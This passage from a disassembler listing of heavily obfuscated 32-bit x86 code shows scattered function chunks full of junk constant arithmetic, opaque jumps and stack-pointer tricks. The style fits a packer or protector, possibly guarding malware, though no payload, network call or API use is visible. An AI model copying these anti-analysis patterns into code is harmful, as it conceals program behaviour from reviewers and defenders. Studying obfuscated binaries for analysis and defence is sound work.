esp inc word ptr [esp-8+arg_4] pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1F3 loc_5A9836: ; CODE XREF: sub_59F1F3+E4DCj push edx pop esi pop edx shr esi, 8 or esi, 4F072873h push edi mov edi, esp add edi, 4 sub edi, 4 push edi push [esp+arg_0] pop edi pop dword ptr [esp+0] pop esp mov [esp-8+arg_4], eax push ebx mov ebx, esp jmp loc_5A35B4 ; END OF FUNCTION CHUNK FOR sub_59F1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A9866: ; CODE XREF: sub_5A7BA0+5651j mov [esp+0], ebp mov ebp, 0CDD45F06h jmp loc_5A08B6 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB3DB loc_5A9873: ; CODE XREF: sub_5AB3DB-CBAEj xor edi, 25170A41h and eax, edi pop edi add eax, 8502A9Dh push edi push eax pop edi mov edx, edi pop edi jmp loc_59ED18 ; END OF FUNCTION CHUNK FOR sub_5AB3DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A988C: ; CODE XREF: sub_59CBE1:loc_5A8C77j dec eax jnz loc_5AFC4C inc eax sub eax, 2C7B0B59h mov ecx, edx mov edi, edi ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; START OF FUNCTION CHUNK FOR sub_5A503A loc_5A989D: ; CODE XREF: sub_5A503A+45BAj mov [esp+8+var_8], ebx add [esp+8+var_8], 404A065Bh mov esi, [esp+8+var_8] jmp sub_5A5607 ; END OF FUNCTION CHUNK FOR sub_5A503A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB3DB loc_5A98AF: ; CODE XREF: sub_5AB3DB+3j mov [esp+0], edi mov edi, esp push eax mov eax, 4CD67860h jmp loc_5A9E25 ; END OF FUNCTION CHUNK FOR sub_5AB3DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A98BF: ; CODE XREF: sub_59C979+EBA3j add eax, 4 jmp loc_59E086 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A98C7: ; CODE XREF: sub_59AA62+12BD5j ; sub_5AA2D1+5217j xchg esi, [esp+0] pop esp add ebp, 29A65541h jmp loc_5A8E75 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D4FD loc_5A98D6: ; CODE XREF: sub_5B01F7-14934j ; sub_59D4FD+3959j sub ecx, 4 xchg ecx, [esp+8+var_8] pop esp mov [esp+4+var_4], edx push ecx mov ecx, 49353020h push edx mov edx, 40C15C15h xor edx, 3E5866BBh sub edx, 2DA846ADh not edx xor edx, 7D325813h add edx, 0E804D5Dh xor edx, 1F785109h add ecx, edx pop edx push ecx pop edx pop ecx push edi push esi mov esi, 4B4B3171h jmp loc_59C56C ; END OF FUNCTION CHUNK FOR sub_59D4FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A991E: ; CODE XREF: sub_5992DA+D319j ; sub_5AA2D1:loc_5AA265j pop ebx push ecx jmp loc_5AEE7F ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A18F6 loc_5A9925: ; CODE XREF: sub_5A18F6+8431j mov [esp+8+var_8], edx mov edx, 6C016A45h jmp loc_5A5EB6 ; END OF FUNCTION CHUNK FOR sub_5A18F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59993B loc_5A9932: ; CODE XREF: sub_59993B+B929j sub [esp+8+var_4], 416E4C81h push [esp+8+var_8] jmp loc_5A8A8E ; END OF FUNCTION CHUNK FOR sub_59993B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9942: ; CODE XREF: sub_5AFA26-154E5j ; sub_5AA2D1-890Dj neg ebp jo loc_59B470 xor ebp, 14582F8Eh jmp loc_59A818 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A9955: ; CODE XREF: sdfs____:0059E84Ej push ecx mov ch, 0CFh sub esp, 4 mov [esp], ebx jmp loc_59DCC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A9963: ; CODE XREF: sub_5A0AA2+CB8Dj dec ebx push eax mov eax, 5E9F4A2Fh jmp loc_59E50D ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; =============== S U B R O U T I N E ======================================= sub_5A996F proc near ; CODE XREF: sub_5ABFD8-10764j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0059B2F2 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0059EE98 SIZE 00000006 BYTES push ebp push 48CBh mov [esp+8+var_8], esp add [esp+8+var_8], 4 pop ebp jmp loc_59EE98 sub_5A996F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA52F loc_5A9982: ; CODE XREF: sub_5AA52F+6j mov word ptr [esp+4+var_4], dx mov dl, 0C5h add al, dl jmp loc_59C9AD ; END OF FUNCTION CHUNK FOR sub_5AA52F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A998F: ; CODE XREF: sub_5A79BE-4F88j ; sub_5AE9FA:loc_5AD1F6j and edx, 5F6612BCh xor edx, 4EB2269Bh add edi, edx pop edx pop esi sub esp, 4 mov [esp-8+arg_4], eax jmp loc_5A53C2 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A99AD: ; CODE XREF: sub_5992DA+EF36j xor esi, [esp+1Ch+var_1C] jmp loc_5A2B1A ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A99B5: ; CODE XREF: sub_5A2E28-3C17j mov ebp, 63ED19DCh mov edi, ebp pop ebp sub [esp+arg_4], edi pop edi add [esp-4+arg_4], edi jmp loc_59CAD2 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5A99CB: ; CODE XREF: sub_59E94B+A82Cj mov edi, 147D43CAh mov ecx, 0FBF20873h add ecx, edi pop edi dec ecx jge loc_59A8D7 jmp loc_5A19FE ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- mov edx, 0E2257D2h mov al, cl pop edx ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A99EC: ; CODE XREF: sub_59C979:loc_5A1756j not bh add bh, 0EEh jmp loc_5ACAB3 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A99F6: ; CODE XREF: sub_59EE3E-517Dj sub ecx, 409B2FFFh pop edx sub esp, 4 mov [esp+0], esi push eax push ebx jmp loc_5A1012 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9A0A: ; CODE XREF: sub_5AA2D1-A993j pop eax sub esp, 4 mov [esp-1Ch+arg_18], eax jmp loc_5A8B8A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A18F6 loc_5A9A19: ; CODE XREF: sub_5A18F6+D6EDj mov esp, [esp+0] mov ax, [esp-8+arg_4] push 7B52h mov [esp-4+arg_0], ebx mov ebx, esp sub esp, 4 mov [esp+0], eax jmp loc_5A9CFF ; END OF FUNCTION CHUNK FOR sub_5A18F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599117 loc_5A9A35: ; CODE XREF: sub_599117+B619j push eax mov eax, 54F41CEBh xor eax, 0A45524Ah jmp sub_5A4886 ; END OF FUNCTION CHUNK FOR sub_599117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A21A4 loc_5A9A45: ; CODE XREF: sub_5A21A4+E05j jmp loc_5AFB1C ; END OF FUNCTION CHUNK FOR sub_5A21A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A9A4A: ; CODE XREF: sub_5992DA+16D5j xor ebp, [esp+26h+var_26] jmp loc_5AA374 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- loc_5A9A52: ; CODE XREF: sdfs____:005A1B1Cj pop ebx and ebx, 46452215h jb loc_5AD253 add ebx, 3184F9C8h jmp loc_5A7D17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A9A6A: ; CODE XREF: sub_5A118F-2C53j add esp, 4 jmp loc_59C4D4 ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5A9A72: ; CODE XREF: sub_5AF2D9-F531j push 6443h mov [esp+0Ch+var_C], ebp push 579769D9h jmp loc_5AD38D ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A9A84: ; CODE XREF: sub_5992DA+500Bj push edi push 1 jmp loc_599B9A ; END OF FUNCTION CHUNK FOR sub_5992DA ; =============== S U B R O U T I N E ======================================= sub_5A9A8F proc near ; CODE XREF: sub_59C979+B578j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005AF930 SIZE 00000010 BYTES sub esp, 4 mov [esp+4+var_4], eax jmp loc_5AF930 sub_5A9A8F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599117 loc_5A9A9A: ; CODE XREF: sub_599117+710j not ebx add ebx, 703E6264h mov ebp, ebx push dword ptr [esp+0] pop ebx add esp, 4 xor ebp, esi jmp loc_5A0D27 ; END OF FUNCTION CHUNK FOR sub_599117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5A9AB2: ; CODE XREF: sub_5A580F+7BB3j not edx add edx, 41BB7FCDh jbe loc_5AFCF4 dec edx shl edx, 1 jmp loc_59AD19 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A9AC8: ; CODE XREF: sub_59C979+F6A0j shl esi, 6 shr esi, 6 jmp loc_5A21D1 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A600D loc_5A9AD3: ; CODE XREF: sub_5A600D:loc_5A37C4j add ah, 32h mov bl, ah pop eax dec bl not bl push eax jmp loc_59930A ; END OF FUNCTION CHUNK FOR sub_5A600D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5A9AE3: ; CODE XREF: sub_59A7E7+A419j add ch, 2Fh add ch, 88h add bl, 0E1h add bl, ch sub bl, 0E1h pop ecx jmp loc_59E2B1 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFA26 loc_5A9AF7: ; CODE XREF: sub_5AFA26-6C5Dj jnz loc_59A53B add ebp, 7F270EB6h jl loc_5A5A9C ; END OF FUNCTION CHUNK FOR sub_5AFA26 ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9B09: ; CODE XREF: sub_5AA2D1-F6B6j push esp pop edx add edx, 4 push eax sub esp, 4 jmp loc_59F298 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5A9B1D proc near ; DATA XREF: sdfs____:00598E5Co var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0059B621 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059CF0A SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0059E7A6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059F834 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A083F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A1264 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A3E81 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 005A73E4 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A7623 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005AA434 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 005AC432 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005AD0FB SIZE 0000004A BYTES mov ecx, [esp+0] push 3853h mov [esp+0], ebp push esp pop ebp push 243Eh mov [esp-8+arg_4], ecx jmp loc_5A73E4 sub_5A9B1D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599C9B loc_5A9B37: ; CODE XREF: sub_599C9B+10778j sub ebx, 6D8C6A16h mov ebp, [esp+4+var_4] jmp loc_59DB94 ; END OF FUNCTION CHUNK FOR sub_599C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5A9B45: ; CODE XREF: sub_5A77D5-C576j xor edi, [esp+4+var_4] mov esp, [esp+4+var_4] jmp loc_5A2142 ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3E64 loc_5A9B50: ; CODE XREF: sub_5A3E64-8D55j xchg ecx, [esp+0] jmp loc_5996CE ; END OF FUNCTION CHUNK FOR sub_5A3E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFD37 loc_5A9B58: ; CODE XREF: sub_5AFD37+Ej add edi, 4 push ebx jmp loc_59D898 ; END OF FUNCTION CHUNK FOR sub_5AFD37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5A9B64: ; CODE XREF: sub_5AF2D9-158FFj dec ebx jno loc_5A28F7 xor ebx, 394A7C89h add ebx, 64F2793h ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9B77: ; CODE XREF: sub_5AA2D1-6944j mov edx, 2E8A0314h dec edx jl loc_5A7E94 sub edx, 412256A1h jnz loc_5A8707 jmp loc_59C23B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- push dword ptr [esp+4] pop edi push esi ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9B9A: ; CODE XREF: sub_5AA2D1+48EEj add bl, ch mov ecx, [esp-0Ch+arg_8] add esp, 4 jmp loc_59A52D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A9BAA: ; CODE XREF: sub_59C979+D525j push eax push 12085B52h pop eax and ebp, eax pop eax add ebp, 0EDF7ECB2h add edi, ebp pop ebp push 4204h mov dword ptr [esp+2+var_2], edi push dword ptr [esp+4] mov edi, [esp+6+var_6] jmp loc_5AA1C0 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9BD1: ; CODE XREF: sub_5AA2D1-3D41j add ecx, 4 add ecx, 4 xchg ecx, [esp+4+var_4] pop esp push 7EFBh mov [esp+4+var_4], ecx mov cl, 97h not cl add cl, 0F2h shr cl, 5 jns loc_5A025C push 7FF1h mov [esp+8+var_8], edx mov dh, 6Dh or dh, 0E4h loc_5A9C03: ; CODE XREF: sub_59AE39+7135j push 555Fh mov [esp+0Ch+var_C], ecx mov ecx, 3F647Ch jmp loc_5A0C0E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8215 loc_5A9C15: ; CODE XREF: sub_5A8215+314j xor [esp+4+var_4], edi xchg ebp, edi push ebp not [esp+8+var_8] mov ebp, [esp+8+var_8] add esp, 4 xor edi, ebp xor ebp, edi jmp loc_59DBF7 ; END OF FUNCTION CHUNK FOR sub_5A8215 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9C2D: ; CODE XREF: sub_5AA2D1-11EAj push edi push 1345h mov [esp-20h+arg_1C], esp add [esp-20h+arg_1C], 4 mov edi, [esp-20h+arg_1C] push esi mov esi, esp add esi, 4 jmp loc_5A6D47 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C656 loc_5A9C4E: ; CODE XREF: sub_59C656:loc_5A9DEAj shr ebp, 4 xor ebp, 54D66ADBh jmp loc_5A01F6 ; END OF FUNCTION CHUNK FOR sub_59C656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A9C5C: ; CODE XREF: sub_5A79BE+45ADj push 38EBh mov [esp-4+arg_0], ecx mov ecx, 39936A1Fh shl ecx, 8 push 1D93h mov [esp+0], eax mov eax, 498D2145h not eax inc eax add eax, 64E45E1Dh push esi mov esi, 15EA6174h or esi, 3CCF0400h push edi mov edi, 3A271639h jmp loc_5A1048 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9C98: ; CODE XREF: sub_5AA2D1-596Fj push dword ptr [edi+eax*4] jmp loc_5A3CA2 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9CAE loc_5A9CA0: ; CODE XREF: sub_5A9CAE+9j push [esp+arg_0] pop edi pop dword ptr [esp+0] pop esp jmp loc_599681 ; END OF FUNCTION CHUNK FOR sub_5A9CAE ; =============== S U B R O U T I N E ======================================= sub_5A9CAE proc near ; CODE XREF: sub_5AB207-617Cj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00599681 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A16D5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A9CA0 SIZE 0000000E BYTES sub esp, 4 mov [esp-4+arg_0], edi jmp loc_5A9CA0 sub_5A9CAE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9CBC: ; CODE XREF: sub_5AA2D1-161Dj push 4D6Ah mov [esp+6+var_8+2], esp push edi mov edi, 4 jmp loc_59F253 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A9CCF: ; CODE XREF: sub_5992DA+CCB5j ; sub_5A7508+75CBj mov ebx, 4 add edi, ebx pop ebx xchg edi, [esp+0] mov esp, [esp+0] jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9CE2: ; CODE XREF: sub_5AA2D1+C01j add eax, ecx pop ecx add eax, 4 xchg eax, [esp+6+var_8+2] jmp loc_59D2D8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5A9CF2 proc near ; CODE XREF: sub_5A2065+ABD6j push bx jmp loc_5A33A2 sub_5A9CF2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB82 loc_5A9CF9: ; CODE XREF: sub_59DB82+9000j ; sub_5A4E04+98D2j pop esp jmp loc_59C125 ; END OF FUNCTION CHUNK FOR sub_59DB82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A18F6 loc_5A9CFF: ; CODE XREF: sub_5A18F6+813Aj mov eax, 424424C1h add eax, 0BDBBDB43h add ebx, eax mov eax, [esp+0] add esp, 4 push 0A4Dh mov [esp+0], eax push 6B9Eh mov [esp+4+var_4], esi sub esp, 4 jmp loc_5A9925 ; END OF FUNCTION CHUNK FOR sub_5A18F6 ; --------------------------------------------------------------------------- loc_5A9D2C: ; CODE XREF: sdfs____:005AC111j push 7EC13BE2h push dword ptr [esp] pop edi add esp, 4 not edi or edi, 12692477h jb loc_5AC46D xor edi, 937FE47Bh jmp loc_59DC38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A9D54: ; CODE XREF: sub_5992DA+FF68j sub dl, 0F3h shl dl, 4 xor dl, 0B3h and bl, dl jmp loc_5A65ED ; END OF FUNCTION CHUNK FOR sub_5992DA ; =============== S U B R O U T I N E ======================================= sub_5A9D64 proc near ; CODE XREF: sub_5A2E41+375Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005997C5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059A0E1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059ABCC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059B11A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059B88F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059D475 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059EFEF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A0CA3 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 005A2572 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005A27AC SIZE 00000035 BYTES ; FUNCTION CHUNK AT 005A2D06 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A437A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A6626 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A6E51 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A74EC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A7EAC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A90B0 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005A9538 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005AA8CB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005ABC03 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AC4AD SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AC6FF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AFDD7 SIZE 0000000B BYTES sub esp, 4 jmp loc_5A9538 sub_5A9D64 endp ; =============== S U B R O U T I N E ======================================= sub_5A9D6F proc near ; DATA XREF: sdfs____:00599088o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059A066 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059A64B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059E3D0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005B01A9 SIZE 00000011 BYTES lodsb push 7B7h jmp loc_59E3D0 sub_5A9D6F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A9D7A: ; CODE XREF: sub_5B01F7-C0E4j xor eax, 4B7820B6h jg loc_5A5B49 shr eax, 2 jnp loc_5A8447 add bh, 9 push edi ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5A9D92: ; CODE XREF: sub_5A5EFF-BB9j add esi, edx pop edx push esi push [esp+8+var_4] mov esi, [esp+0Ch+var_C] add esp, 4 pop [esp+8+var_8] mov esp, [esp+4+var_4] or ebx, ebx jnz loc_5A22D3 push eax push esp jmp loc_5A89D9 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9DB5: ; CODE XREF: sub_5AA2D1-EB77j mov dh, 10h jmp loc_5A24FD ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A9DBC: ; CODE XREF: sub_5992DA+1427Ej or ebx, edi pop edi dec ebx shr ebx, 3 push esi mov esi, 45F9EE05h xor ebx, esi pop esi xchg ebp, ebx xchg edx, ebp not edx xor ebp, edx xor edx, ebp xor ebp, edx push ebx push ebp pop ebx jmp loc_5A620E ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A9DE0: ; CODE XREF: sub_5ADD33-BDA2j push esi inc [esp+10h+var_10] pop esi jmp loc_5AED2A ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C656 loc_5A9DEA: ; CODE XREF: sub_59C656+Cj jmp loc_5A9C4E ; END OF FUNCTION CHUNK FOR sub_59C656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A311C loc_5A9DEF: ; CODE XREF: sub_5A311C+6j push eax sub esp, 4 mov [esp+0Ch+var_C], esp add [esp+0Ch+var_C], 4 pop eax push edx mov edx, 607408A3h push ebx mov ebx, 737C15BEh add edx, 0CC3171Bh add edx, ebx sub edx, 0CC3171Bh pop ebx sub edx, 1 jmp loc_5A26C1 ; END OF FUNCTION CHUNK FOR sub_5A311C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A9E1E: ; CODE XREF: sub_5992DA+12D8Cj mov dh, 2Eh jmp loc_5996D9 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB3DB loc_5A9E25: ; CODE XREF: sub_5AB3DB-1B21j dec eax or eax, 391E5E76h xor eax, 7DDE7E7Bh add edi, eax pop eax sub edi, 4 xchg edi, [esp+0] pop esp mov [esp+0], eax jmp loc_5A862A ; END OF FUNCTION CHUNK FOR sub_5AB3DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5A9E42: ; CODE XREF: sub_59A26C+F0F2j inc edx jns loc_59ED71 neg edx jmp loc_599211 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- mov ebp, eax mov dh, dl ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A9E54: ; CODE XREF: sub_59C979+E02Ej push 4 pop ebp add edi, 6533A79h add edi, ebp sub edi, 6533A79h mov ebp, [esp+6+var_6] add esp, 4 push ebp mov ebp, 5B0113BFh sub esp, 4 mov [esp+0Ah+var_A], ebx mov ebx, 52681EFFh xor ebx, 2F3974B7h shr ebx, 1 not ebx add ebx, 64BB6BB9h xor ebx, 1D1AB07Bh or ebp, ebx pop ebx add ebp, 0FFFFFFFFh jmp loc_5A9BAA ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_5A9EA3: ; CODE XREF: sub_5A522E-94E5j inc ebx jmp loc_5A2F68 ; END OF FUNCTION CHUNK FOR sub_5A522E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A9EA9: ; CODE XREF: sub_5A118F+5165j inc dh add dh, 0FFh push ebx jmp loc_5ACC6A ; END OF FUNCTION CHUNK FOR sub_5A118F ; =============== S U B R O U T I N E ======================================= sub_5A9EB4 proc near ; CODE XREF: sub_59D6B8+FEF8j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059A493 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059A972 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059C63E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059E902 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059F473 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0059FE79 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A558D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A5674 SIZE 0000000A BYTES push ebp pop ecx pop ebp pop edx rep movsd jmp loc_59FE79 sub_5A9EB4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5A9EBF proc near ; CODE XREF: sub_59C979+684j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059968F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059A0FC SIZE 00000078 BYTES ; FUNCTION CHUNK AT 0059A472 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059AF2F SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0059AF5F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059BB62 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059C3A2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059C8A5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A09FD SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005A24DC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A2F4E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A3CED SIZE 0000000C BYTES ; FUNCTION CHUNK AT 